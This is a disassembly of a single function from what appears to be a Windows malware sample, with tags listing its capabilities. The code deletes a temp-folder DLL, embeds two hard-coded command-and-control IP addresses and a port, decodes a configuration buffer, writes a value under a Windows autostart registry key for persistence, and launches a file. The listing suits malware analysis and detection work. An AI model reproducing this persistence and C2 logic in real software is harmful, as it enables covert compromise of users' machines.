Function at 0x401e23
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x206
push esi
mov word [ebp - 0x210], ax
xor ebx, ebx
lea eax, [ebp - 0x20e]
push ebx
push eax
call fcn.00407ec0
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push ebx
push eax
call fcn.00407ec0
add esp, 0xc
push 0x200
lea eax, [ebp - 0x618]
push ebx
push eax
call fcn.00407ec0
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push str.HGDraw.dll
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00404577
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
call fcn.00402232
cmp dword [0x417640], 1
mov dword [ebp - 0x824], eax
jne 0x401edd
cmp eax, ebx
jne 0x401edd
xor eax, eax
jmp 0x402223
call fcn.00402591
mov dword [ebp - 0x81c], eax
push 0x51
pop eax
mov word [ebp - 0x594], ax
mov edi, 0x2b8e
mov eax, edi
mov word [ebp - 0x4f2], ax
mov dword [ebp - 0x618], 0x504d534d
xor eax, eax
movzx ecx, word [eax + 0x4132a8]
mov word [ebp + eax - 0x572], cx
add eax, 2
cmp cx, bx
jne 0x401f0c
xor eax, eax
movzx ecx, word [eax + str.1218.54.47.77]
mov word [ebp + eax - 0x614], cx
add eax, 2
cmp cx, bx
jne 0x401f25
xor eax, eax
movzx ecx, word [eax + str.AAAA]
mov word [ebp + eax - 0x592], cx
add eax, 2
cmp cx, bx
jne 0x401f3e
mov esi, 0x417600
push esi
lea eax, [ebp - 0x490]
push 0x10
push eax
mov dword [ebp - 0x450], 5
call fcn.004045ec
add esp, 0xc
cmp dword [ebp - 0x824], ebx
jne 0x401f86
cmp dword [ebp - 0x81c], ebx
je 0x401fc8
push 0x417470
lea eax, [ebp - 0x592]
push 0x10
push eax
call fcn.004045ec
add esp, 0xc
push 0x4174f0
lea eax, [ebp - 0x614]
push 0x40
push eax
call fcn.004045ec
add esp, 0xc
push 0x417578
lea eax, [ebp - 0x572]
push 0x40
push eax
call fcn.004045ec
add esp, 0xc
push 0x51
pop eax
mov word [ebp - 0x594], ax
mov word [ebp - 0x4f2], di
xor eax, eax
movzx ecx, word [eax + 0x413640]
mov word [ebp + eax - 0x572], cx
add eax, 2
cmp cx, bx
jne 0x401fdb
xor eax, eax
movzx ecx, word [eax + str.211.57.201.133]
mov word [ebp + eax - 0x614], cx
add eax, 2
cmp cx, bx
jne 0x401ff4
xor eax, eax
movzx ecx, word [eax + str.AAAA]
mov word [ebp + eax - 0x592], cx
add eax, 2
cmp cx, bx
jne 0x40200d
mov dword [ebp - 0x450], 5
cmp word [ebp - 0x614], bx
je 0x402220
cmp word [ebp - 0x594], bx
jbe 0x402220
mov edi, 0x504d534d
mov eax, esi
mov dword [ebp - 0x618], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x402058
sub eax, edx
sar eax, 1
je 0x40208c
push esi
push ebx
push 0x20000
call dword [sym.imp.KERNEL32.DLL_OpenEventW]
test eax, eax
je 0x40208c
push esi
lea eax, [ebp - 0x490]
push 0x10
push eax
call fcn.004045ec
add esp, 0xc
cmp word [ebp - 0x490], bx
jne 0x4020ab
push str.jiokf
lea eax, [ebp - 0x490]
push 0x10
push eax
call fcn.004045ec
add esp, 0xc
cmp word [ebp - 0x470], bx
jne 0x4020f7
push str.huter
lea eax, [ebp - 0x470]
push 0x10
push eax
call fcn.004045ec
mov ecx, 0x417620
mov eax, ecx
add esp, 0xc
lea esi, [eax + 2]
mov dx, word [eax]
add eax, 2
cmp dx, bx
jne 0x4020d4
sub eax, esi
sar eax, 1
je 0x4020f7
push ecx
lea eax, [ebp - 0x470]
push 0x10
push eax
call fcn.004045ec
add esp, 0xc
mov dword [ebp - 0x44c], 0x10004e6
cmp dword [ebp - 0x450], ebx
jne 0x402113
mov dword [ebp - 0x450], 5
cmp dword [ebp - 0x618], edi
mov ecx, 0x80
lea esi, [ebp - 0x618]
lea edi, [ebp - 0x818]
rep movsd dword es:[edi], dword [esi]
jne 0x402220
xor eax, eax
not byte [ebp + eax - 0x818]
inc eax
cmp eax, 0x200
jb 0x402134
lea edi, [ebp - 0x818]
call fcn.00401d6a
test eax, eax
je 0x402220
lea edi, [ebp - 0x210]
lea esi, [ebp - 0x470]
call fcn.004027a0
push 0x104
lea eax, [ebp - 0x418]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
push 0x64
pop ecx
xor edx, edx
div ecx
mov eax, edi
push eax
lea eax, [ebp - 0x418]
mov ecx, edx
call fcn.00402e00
pop ecx
lea eax, [ebp - 0x820]
push eax
push 3
push ebx
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push closesocket
mov dword [ebp - 0x820], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402209
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4021ca
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x210]
push eax
push 1
push ebx
push 0x413698
push dword [ebp - 0x820]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x402209
push dword [ebp - 0x820]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push ebx
push 0x41326c
lea eax, [ebp - 0x210]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404568
leave
ret